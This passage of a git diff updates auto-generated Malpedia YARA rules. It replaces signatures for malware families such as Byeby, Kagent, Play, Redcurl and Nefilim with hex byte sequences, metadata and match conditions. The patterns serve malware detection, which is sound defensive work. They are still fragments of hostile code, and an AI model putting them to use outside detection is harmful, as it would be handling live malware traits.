-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_045_auto.yar#L1-L104"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.byeby_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "16726755d5995c8139758648ed741d294bd49338a51b6fd2af1cb4cf9c59e23f"
+		logic_hash = "ea138eeca75e1ffbb323be9c4364fb51ef613b1a9fd77855f97073778ad7174f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134502,30 +141530,32 @@ rule MALPEDIA_Win_Unidentified_045_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 83c40c 68???????? 68???????? 68???????? e8???????? }
-		$sequence_1 = { 8930 8935???????? eb2b 837d0c02 7528 8b35???????? }
-		$sequence_2 = { 8bc7 eb5c 33f6 85f6 7609 }
-		$sequence_3 = { 6804010000 8d44244c 57 50 e8???????? 8b35???????? }
-		$sequence_4 = { ff15???????? 33f6 56 56 6a02 56 56 }
-		$sequence_5 = { 6a01 56 56 ff7508 897dac 56 }
-		$sequence_6 = { 3345fc 5e c9 c3 803d????????00 }
-		$sequence_7 = { 6a0c 50 57 8975f4 }
+		$sequence_0 = { e8???????? 68???????? 8d45f0 c745f0f4320110 }
+		$sequence_1 = { e8???????? 8b7df0 83c40c 037e74 c7467400000000 eb03 }
+		$sequence_2 = { 8bf0 53 ff742430 6a00 6a00 }
+		$sequence_3 = { 50 8b8528e5ffff 0f94c1 898d3ce5ffff 8b8d24e5ffff 8b048518ab0110 ff3401 }
+		$sequence_4 = { 8b8528e5ffff 8b048518ab0110 ff3401 ff15???????? 8bb540e5ffff 8bbd34e5ffff 85c0 }
+		$sequence_5 = { 8d84245c020000 50 c78424600200005630564d c78424640200005130394e ffd7 40 50 }
+		$sequence_6 = { 8b35???????? 8d442410 50 ff35???????? }
+		$sequence_7 = { 7309 8b04c5e84e0110 5d c3 33c0 }
+		$sequence_8 = { 0f8641010000 8b4c2420 83c714 8bff 837ff005 0f85fa000000 0fb707 }
+		$sequence_9 = { 3b0cc510900110 7427 40 83f82d 72f1 8d41ed }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Advisorsbot_Auto : FILE
+rule MALPEDIA_Win_Kagent_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4423ed68-193a-5b69-9a0c-e4a68868d775"
+		id = "03cb1012-1d40-5351-bbf3-a59896f7ae1b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.advisorsbot_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kagent_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "63e408f2b85153604b6cbce7b119689dceb4fed854cd697bc92427d51dad5ae1"
+		logic_hash = "0b8f6427b4a4852531dd043f44e54d80aff6015551c819a2c415062a93726e8a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134539,41 +141569,32 @@ rule MALPEDIA_Win_Advisorsbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bc1 2bc2 d1e8 03c2 c1e808 }
-		$sequence_1 = { 8bc2 33d2 c1e809 f7f1 }
-		$sequence_2 = { 8bc2 33d2 c1e808 f7f1 }
-		$sequence_3 = { b89b01a311 f7e1 2bca d1e9 03ca }
-		$sequence_4 = { d1e8 03c2 33d2 c1e809 }
-		$sequence_5 = { 8bc2 c1e809 33d2 f7f1 }
-		$sequence_6 = { 8b442408 8b4c2408 33d2 f7f1 }
-		$sequence_7 = { d1e9 03ca 33d2 c1e909 }
-		$sequence_8 = { d1e9 03ca c1e907 2bc1 }
-		$sequence_9 = { b839811338 f7e1 8bc1 2bc2 }
-		$sequence_10 = { d1e9 03ca c1e909 33c8 }
-		$sequence_11 = { 8bc2 33d2 c1e804 f7f1 }
-		$sequence_12 = { 8bca f7e2 8bc1 2bc2 }
-		$sequence_13 = { 668b4c2410 5f 5e 5d }
-		$sequence_14 = { 0fb7c1 0fb7ca 33d2 f7f1 }
-		$sequence_15 = { 0fb7c0 0fb7c9 33d2 f7f1 }
-		$sequence_16 = { 0fb6c0 0fb6c9 33d2 f7f1 }
-		$sequence_17 = { 8b442414 8b4c2414 33d2 f7f1 }
-		$sequence_18 = { 5e 5d 0fb7c2 5b }
+		$sequence_0 = { 84c9 75f9 2bc2 888c2474020000 33c9 89442440 66894c2452 }
+		$sequence_1 = { e8???????? 8be5 5d c20400 8d4de8 51 c7434c00000080 }
+		$sequence_2 = { 8b75e8 52 51 e8???????? 8b4508 }
+		$sequence_3 = { c645fc04 884b48 0f90c1 f7d9 0bc8 51 }
+		$sequence_4 = { 8bd0 2bd6 0fb70432 0fb70e 2bc1 }
+		$sequence_5 = { 884608 33c9 b801000000 ba02000000 f7e2 0f90c1 f7d9 }
+		$sequence_6 = { 57 ff15???????? 85c0 7514 83c604 81fe???????? 7cd7 }
+		$sequence_7 = { e8???????? 894624 c6462801 8b4624 33c9 895e20 668908 }
+		$sequence_8 = { 0f858cfcffff 8b542420 8d0411 39442438 8b5378 0f94c1 }
+		$sequence_9 = { 50 e8???????? 83c404 8a45f3 8b4df4 64890d00000000 59 }
 
 	condition:
-		7 of them and filesize <434176
+		7 of them and filesize <4972544
 }
-rule MALPEDIA_Win_Wmighost_Auto : FILE
+rule MALPEDIA_Win_Laziok_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0b0db58b-a86c-5fcd-a072-2eb1cc17420a"
+		id = "1dcbce9e-9b01-55fc-82f2-025bf107fa98"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wmighost_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.laziok_auto.yar#L1-L101"
 		license_url = "N/A"
-		logic_hash = "ca34789fba1f2bd4e0c465ce04013e3b6750b48b70cd8c7936238cd0c587d01a"
+		logic_hash = "8a49fb3e99a85f8254a739f5aaca9e9bb1b5be0f2dd72574e619043b4fccb1ed"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134587,34 +141608,32 @@ rule MALPEDIA_Win_Wmighost_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 e8???????? 83c40c 68e8030000 ff15???????? e9???????? }
-		$sequence_1 = { 83c408 68???????? 8d8df0fcffff 51 }
-		$sequence_2 = { c745fc00000000 8d4d08 e8???????? 50 8b45e8 8b08 }
-		$sequence_3 = { 8945fc 837dfcff 7505 e9???????? 6a02 }
-		$sequence_4 = { 8b550c 52 8d85f0fcffff 50 e8???????? 83c408 }
-		$sequence_5 = { 33c1 8b55f8 8882c8304000 8b45f8 0fbe88c8304000 33d2 8a15???????? }
-		$sequence_6 = { 66ab aa c685f0fcffff00 b940000000 33c0 8dbdf1fcffff }
-		$sequence_7 = { 50 8b4df0 51 e8???????? c745fcffffffff 8d4d08 e8???????? }
-		$sequence_8 = { 8dbdfdfeffff f3ab 66ab aa c685f0fcffff00 b940000000 }
-		$sequence_9 = { 8955e4 8b45ec 50 8b4de4 51 6aff }
+		$sequence_0 = { 85f6 740b 837c240cff 8937 7502 }
+		$sequence_1 = { 47 68???????? 57 e8???????? 8bf0 59 }
+		$sequence_2 = { 8d85f4fdffff 50 e8???????? 33c0 668945fc }
+		$sequence_3 = { 68ffffff1f 52 e8???????? 83c410 c3 }
+		$sequence_4 = { e8???????? 83c420 5b c20400 }
+		$sequence_5 = { 56 8b7508 833e01 7513 6a00 ff7510 ff750c }
+		$sequence_6 = { 39742410 741b ff742410 ff15???????? 8bf0 }
+		$sequence_7 = { 56 57 ff74240c 33f6 ff35???????? e8???????? }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <688128
 }
-rule MALPEDIA_Elf_Blackcat_Auto : FILE
+rule MALPEDIA_Win_Mozart_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8a7e13ba-9ed1-59ed-8fb9-9aaa610fbd94"
+		id = "1438b6f5-0fc9-5eca-9ae3-36eb59239394"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.blackcat_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mozart_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "1ac97428ed273512eef4209d87a29f49ce26e88d11cb15b15e2f2687ea017381"
-		score = 60
-		quality = 45
+		logic_hash = "94b0456ee335dcdb1592bd3a0f2b861e74a91bd5433e8fc753965fb9891ac5e3"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -134626,32 +141645,32 @@ rule MALPEDIA_Elf_Blackcat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 0f0b 90 90 90 90 53 }
-		$sequence_1 = { 69c0???????? c1e811 6bf064 29f2 0fb7d2 }
-		$sequence_2 = { e8???????? 0f0b 90 53 }
-		$sequence_3 = { 89c1 3d???????? 7319 c1e906 }
-		$sequence_4 = { 660f7f8424f0010000 660f7f8424e0010000 660f7f8424d0010000 660f7f8424c0010000 660f7f8424b0010000 }
-		$sequence_5 = { d1e9 01d1 c1e902 8d14cd00000000 }
-		$sequence_6 = { b801000000 81f9???????? 0f823fffffff b802000000 }
-		$sequence_7 = { 69c0???????? c1e810 29c2 0fb7d2 d1ea }
-		$sequence_8 = { 762a 0fb6c8 8d1489 8d0cd1 }
-		$sequence_9 = { e8???????? 0f0b e8???????? 0f0b 90 90 90 }
+		$sequence_0 = { 7c26 80fb39 7f21 885c3418 46 }
+		$sequence_1 = { 66ab e8???????? 8d44242c 50 e8???????? 8d8c2430010000 51 }
+		$sequence_2 = { c1f805 8d1c85c0db4000 8b03 8bf1 83e61f c1e603 8a443004 }
+		$sequence_3 = { 49 7438 49 7471 c1e006 0bc7 }
+		$sequence_4 = { 55 8bec 83e4f8 81ec20020000 a1???????? 8b0d???????? 668b15???????? }
+		$sequence_5 = { 8bf0 83e61f 8d3c8dc0db4000 8b0f c1e603 f644310401 7455 }
+		$sequence_6 = { 8a08 40 84c9 75f9 8b8c2420100000 }
+		$sequence_7 = { 2bc7 3bf0 7202 33f6 8bc5 43 42 }
+		$sequence_8 = { 8b0a 83c502 3be9 7728 }
+		$sequence_9 = { 751a 84c0 7426 8b5608 47 }
 
 	condition:
-		7 of them and filesize <8011776
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Pickpocket_Auto : FILE
+rule MALPEDIA_Win_Play_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9a488247-9e86-5930-98a0-6918c231e819"
+		id = "e5dc4ad0-4963-56ca-a5e5-83aec2390f77"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pickpocket_auto.yar#L1-L111"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.play"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.play_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "d7990d44202646b62032b82a90fb7e07e373731a34449c62076ef24e8ce04d57"
+		logic_hash = "633aef027703dbbff9f2f212af038ee3039813400893deac0150b99c35143631"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134665,32 +141684,32 @@ rule MALPEDIA_Win_Pickpocket_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 750f b962890100 e8???????? }
-		$sequence_1 = { 7e1e b9dccc0000 e9???????? b9cecc0000 e9???????? b9c7cc0000 }
-		$sequence_2 = { 7404 8b01 eb03 83c8ff 83f804 }
-		$sequence_3 = { d3e0 a846 750f b99be00100 e8???????? e9???????? }
-		$sequence_4 = { e8???????? 85c0 750e b958de0100 }
-		$sequence_5 = { 85c0 750e b958de0100 e8???????? 8bc8 }
-		$sequence_6 = { 85c0 740f b989000100 e8???????? }
-		$sequence_7 = { 7e16 b91bcc0000 eb05 b916cc0000 }
-		$sequence_8 = { eb0c b96ccb0000 eb05 b960cb0000 }
-		$sequence_9 = { eb09 8bc7 eb0a b9a9d60000 e8???????? }
+		$sequence_0 = { 0fb78d82feffff 2bc8 899570ffffff 014d84 }
+		$sequence_1 = { 02c1 c645c5ae 8845c3 b937030000 888556ffffff 8a45c7 c6852fffffff00 }
+		$sequence_2 = { 8bd8 899d88fdffff 85db 0f8483040000 8a0b 80f9e9 7409 }
+		$sequence_3 = { c83dad3c d92b e00c 9c 0d05f0657b 4e f30f7e05???????? }
+		$sequence_4 = { 7f06 81c4ab000000 83c410 e8???????? 66f1 }
+		$sequence_5 = { a1???????? 8945bc a1???????? 0f11855cffffff 894594 f30f7e05???????? 8b45f8 }
+		$sequence_6 = { 91 ae 54 ce 3106 f77cf30f 7e05 }
+		$sequence_7 = { 8955f4 8b460c 83ec08 8d0488 8945f8 8d45f4 }
+		$sequence_8 = { 898d48fdffff 66898562fdffff 668985e6fcffff 66398d30fdffff 7634 66ff857cfcffff 8d0432 }
+		$sequence_9 = { 88852effffff 8b8548ffffff fec8 8855ad 88854dffffff 8d45e8 6689bd0cfeffff }
 
 	condition:
-		7 of them and filesize <1458176
+		7 of them and filesize <389120
 }
-rule MALPEDIA_Win_Spectre_Auto : FILE
+rule MALPEDIA_Win_Redcurl_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "af0ed3ea-7150-5006-a1e4-f1f71a7eae7a"
+		id = "efe32a98-15fa-5dd0-a3ff-0a4fdcaec5ff"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spectre_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redcurl_auto.yar#L1-L190"
 		license_url = "N/A"
-		logic_hash = "168b0e3a3116ff3325056de927c137c412a6159d98ef56a6628c736a2a7417ad"
+		logic_hash = "550bb424cec4343fdcbf9ff6b82c03a2bb6c5d2f01439a45b43da803dcee1f93"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134704,32 +141723,42 @@ rule MALPEDIA_Win_Spectre_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ebe3 83c8ff 5d 5b 59 59 c3 }
-		$sequence_1 = { 68???????? ff5604 e9???????? 807c242000 0f8414010000 6a02 }
-		$sequence_2 = { 51 e8???????? 59 59 8b8424ec000000 895c2470 896c2474 }
-		$sequence_3 = { 50 e8???????? 83c40c 50 8d8424a0000000 50 e8???????? }
-		$sequence_4 = { 83e801 7440 83e801 742c 83e801 7418 }
-		$sequence_5 = { 894554 53 8d4dc3 e8???????? 8bc8 e8???????? 50 }
-		$sequence_6 = { 83f81b 0f8ee3020000 83f81f 0f8eb3020000 83f821 0f8e06020000 83f822 }
-		$sequence_7 = { 8b4704 8bcd c6400c01 8b4704 8b4004 c6400c00 8b4704 }
-		$sequence_8 = { 51 8d8c2440010000 e8???????? 8d8c24d8000000 e8???????? 8d4c2448 e8???????? }
-		$sequence_9 = { c68424c400000000 ff15???????? 59 59 85c0 743d 6a01 }
+		$sequence_0 = { c745f000000000 ff15???????? 8bd0 c7461000000000 8bca c746140f000000 }
+		$sequence_1 = { 8bca c746140f000000 c60600 8d7901 }
+		$sequence_2 = { 99 b91a000000 f7f9 80c261 88143e 47 }
+		$sequence_3 = { 2bc6 48 50 56 }
+		$sequence_4 = { ba???????? 660fd645e0 e8???????? 83c404 }
+		$sequence_5 = { 48 3bc2 0f42d0 0fb6041a 03d3 }
+		$sequence_6 = { ff15???????? 6a00 85c0 744b }
+		$sequence_7 = { 50 e8???????? 8d0c3e 83c40c 3bf1 7410 0fb606 }
+		$sequence_8 = { 6a00 0f434d08 8bf0 6a00 }
+		$sequence_9 = { 0f57c0 c745dc00000000 68???????? ba???????? 660fd645d4 }
+		$sequence_10 = { c745f001000000 e8???????? c745e800000000 c745ec0f000000 c645d800 8d5001 }
+		$sequence_11 = { c745ec0f000000 c645d800 8d5001 8b4610 3bc2 726f }
+		$sequence_12 = { 0154241c 894104 e9???????? 8b44241c }
+		$sequence_13 = { 89542408 f7d0 0385e4fdffff 8995a4fbffff 8944240c }
+		$sequence_14 = { 00c1 83da03 2b54241c 0f8444230000 8b7c241c }
+		$sequence_15 = { 00c1 83db03 2b9d34fdffff 899d44fdffff }
+		$sequence_16 = { 00c2 83de03 2bb500ffffff 89b530ffffff }
+		$sequence_17 = { 00c1 83de03 29de 89b504feffff }
+		$sequence_18 = { 00c1 8d8510feffff 83da03 89442404 }
+		$sequence_19 = { 00c1 8b8300010000 83da03 29fa 7468 }
 
 	condition:
-		7 of them and filesize <990208
+		7 of them and filesize <487424
 }
-rule MALPEDIA_Win_Moonwind_Auto : FILE
+rule MALPEDIA_Win_Cloudeye_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "27c4684d-de1d-52d3-b498-3e41ed70b3fe"
+		id = "55cebb53-71a5-52d8-a3dc-f73efa113a86"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moonwind_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cloudeye_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "4c5abeb5054990236a95ce032241f8cb96582d9f2acb60b8ffe13b68b01f39ef"
+		logic_hash = "ce7b005739a8ed2a89f930168aa824ea8a88d8cc7cac3881e5d28b500fe73c46"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134743,32 +141772,32 @@ rule MALPEDIA_Win_Moonwind_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b11 83c104 c1ea08 881430 8a51fc 40 881430 }
-		$sequence_1 = { 8b5dfc 895de4 8b5de4 66c7030200 8b5dfc 83c308 895de4 }
-		$sequence_2 = { 53 e8???????? 83c404 8b5d08 8b1b 81c390000000 895dec }
-		$sequence_3 = { e8???????? 83c404 83c734 33d2 83c8ff 8917 885704 }
-		$sequence_4 = { b801000000 eb05 b800000000 85c0 0f842f000000 8b5d08 8b1b }
-		$sequence_5 = { bbdc090000 e8???????? 83c410 8945b8 8b5dbc 85db 7409 }
-		$sequence_6 = { ff75fc 6801000000 bb68010000 e8???????? 83c410 8945f0 68???????? }
-		$sequence_7 = { 8965f4 8b5d08 ff33 6801000000 ff75f8 ff15???????? }
-		$sequence_8 = { 50 e8???????? 8d7c2434 83c9ff 33c0 83c40c f2ae }
-		$sequence_9 = { dc25???????? dd5dc4 6801030080 6a00 682c000000 dd45c4 e8???????? }
+		$sequence_0 = { 83c002 668b1c08 668b140e 6639d3 75e4 83e902 83f900 }
+		$sequence_1 = { 7545 66f7c14179 685595db6d e8???????? }
+		$sequence_2 = { e8???????? 5f 59 83c628 41 3b8f04080000 75a8 }
+		$sequence_3 = { 7408 0185f4000000 eba4 85d8 }
+		$sequence_4 = { 89f8 0500080000 50 6aff }
+		$sequence_5 = { 6685d2 e8???????? 84ef 80fd37 57 e8???????? 58 }
+		$sequence_6 = { c3 38ed 817e24200000e0 7473 }
+		$sequence_7 = { 668b00 6631c8 39c8 6631c3 6681fb4d5a 7407 6639c1 }
+		$sequence_8 = { 0fbae11f 0f82d63c0000 61 0faee8 0f31 0faee8 c1e220 }
+		$sequence_9 = { 75e4 83e902 83f900 7deb ff742404 }
 
 	condition:
-		7 of them and filesize <1417216
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Grabbot_Auto : FILE
+rule MALPEDIA_Win_Spaceship_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "02308264-bf9f-5ce5-8d58-a146011d85f3"
+		id = "b89dfb6c-e6cf-5987-bb83-c34e2134133d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grabbot_auto.yar#L1-L161"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spaceship_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "fb36fa0cb6c01a8c284e94b423e764f2d45ce7cf14719bff3ffb20003d9572f1"
+		logic_hash = "411bed797a77bb254c4227872033ffc1c4978f634b16d7697bf043a78e35e5f7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134782,38 +141811,32 @@ rule MALPEDIA_Win_Grabbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb702 83f85a 770b 83f841 7206 }
-		$sequence_1 = { 83f85a 770d 83f841 7208 83c020 }
-		$sequence_2 = { 83f841 7206 83c020 0fb7c0 83c202 }
-		$sequence_3 = { ffd0 c3 b88dbdc13f 50 e8???????? }
-		$sequence_4 = { ffe0 c3 c3 c3 68b9be7238 e8???????? 50 }
-		$sequence_5 = { 03c7 813850450000 0f853c010000 0fb74804 ba4c010000 }
-		$sequence_6 = { 03c3 813850450000 8945f8 7408 32c0 }
-		$sequence_7 = { 7523 8b8c18a0000000 85c9 0f8489000000 837c187405 }
-		$sequence_8 = { 56 ffd0 33c9 66894c37fe }
-		$sequence_9 = { 7428 8b0d???????? 8908 8b0d???????? 894804 }
-		$sequence_10 = { 89480c e9???????? 33c0 e9???????? }
-		$sequence_11 = { 894808 8b0d???????? 89480c e9???????? }
-		$sequence_12 = { 8bf0 85f6 741d 8d4601 50 e8???????? }
-		$sequence_13 = { 85c0 56 0f9fc3 e8???????? 83c414 }
-		$sequence_14 = { ff15???????? a3???????? 85c0 7505 83c8ff }
-		$sequence_15 = { 741b 8d440002 50 e8???????? }
+		$sequence_0 = { 6689842464030000 6689842466030000 c784246803000028694100 66899c246c030000 668984246e030000 c784247003000018694100 }
+		$sequence_1 = { 66c78424a40400001200 66898424a6040000 c78424a804000070674100 66c78424ac0400001300 66898424ae040000 c78424b004000064674100 }
+		$sequence_2 = { 0f8415010000 bb01000000 3bfb 0f8cff000000 eb04 }
+		$sequence_3 = { 84c0 7547 eb31 8d7502 40 8a10 8aca }
+		$sequence_4 = { 52 e8???????? 83c418 5f 5e 5b 83c410 }
+		$sequence_5 = { 85c0 7454 8a442404 84c0 }
+		$sequence_6 = { 53 ff542428 8d8c2454020000 51 e8???????? }
+		$sequence_7 = { 8b442424 8b0d???????? 56 50 }
+		$sequence_8 = { 8d3c8d00ec4100 c1e603 8b0f 833c31ff }
+		$sequence_9 = { 723c 8d8c2458030000 6a00 8d94245c050000 51 52 ff15???????? }
 
 	condition:
-		7 of them and filesize <1335296
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Ceeloader_Auto : FILE
+rule MALPEDIA_Win_Wslink_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "385139d5-6e1c-5e2f-90c3-04a312f22353"
+		id = "20de7893-0402-5999-83e1-25d8d59bd834"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceeloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ceeloader_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wslink_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5733aa6d7aff1d1a6c42de98107a30359cd04782474df0d5ddf09cf2979a826e"
+		logic_hash = "8ce7768eb8de70c3eb5454e941b335f1710146a120509f2149ca4912b8c000bf"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -134827,32 +141850,32 @@ rule MALPEDIA_Win_Ceeloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3bce 33f6 23c7 0bda 8bde c3 0bd3 }
-		$sequence_1 = { 448b15???????? 4489c6 4431de 4589c3 4101f3 44891d???????? 4589c3 }
-		$sequence_2 = { 664589c2 664489942490030000 440fbe05???????? 4183f074 664589c2 664489942492030000 440fbe05???????? }
-		$sequence_3 = { 0bda 8bde 0bd3 3bce 23f3 7a04 0bda }
-		$sequence_4 = { 8b842420010000 3b84241c010000 0f8433000000 8b842420010000 898424dc000000 e8???????? 8b8c241c010000 }
-		$sequence_5 = { 3bdd 23fd 0bda 8bde 0bd3 3bce 5a }
-		$sequence_6 = { 741d 4885ff c6435401 488d0d53880800 480f45cf 48894b48 e8???????? }
-		$sequence_7 = { 88542433 0fbe05???????? 83f064 88c2 88542434 0fbe05???????? 83f076 }
-		$sequence_8 = { 4489a42464020000 4403bc2464020000 4489bc2460020000 448bbc2460020000 4589dc 4181e45d386101 4489a4245c020000 }
-		$sequence_9 = { 41c1e204 4489942448050000 44038c2448050000 44898c2444050000 448b8c2444050000 4189d2 4181e235913d02 }
+		$sequence_0 = { e8???????? 488bf0 4885c0 0f85ab000000 c7442420ec000000 4c8d0dcfbc0600 ba94000000 }
+		$sequence_1 = { e9???????? 488d15beaf0700 41b804000000 488bce e8???????? 85c0 750c }
+		$sequence_2 = { eb2a 8b4718 85c0 750b 488b4f08 e8???????? ffc8 }
+		$sequence_3 = { 48894710 4885c0 7514 c744242085010000 4c8d0d88440a00 e9???????? 8b542460 }
+		$sequence_4 = { e8???????? 85c0 0f848a000000 ffcf ffc3 85ff 7fd3 }
+		$sequence_5 = { 830f04 be01000000 488bcd e8???????? 488bcd e8???????? 488b5c2450 }
+		$sequence_6 = { e8???????? 85c0 0f84c9fdffff 8b8c2400010000 418bc4 85c9 0f94c0 }
+		$sequence_7 = { ba70000000 4c8d0d82120a00 c744242067000000 8d4a94 448d42fa e8???????? 83c8ff }
+		$sequence_8 = { e8???????? 85c0 0f8424feffff 488b03 4d8bcc 4d8bc7 498bd7 }
+		$sequence_9 = { f70300010000 7407 e8???????? eb05 e8???????? 8b5718 33c9 }
 
 	condition:
-		7 of them and filesize <2321408
+		7 of them and filesize <2007040
 }
-rule MALPEDIA_Win_Globeimposter_Auto : FILE
+rule MALPEDIA_Win_Nefilim_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4d7b48e1-c009-5b34-a438-f100a6a58894"
+		id = "7c9bb815-6478-5f57-9a80-3013a8b5a537"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.globeimposter_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nefilim_auto.yar#L1-L123"
 		license_url = "N/A"
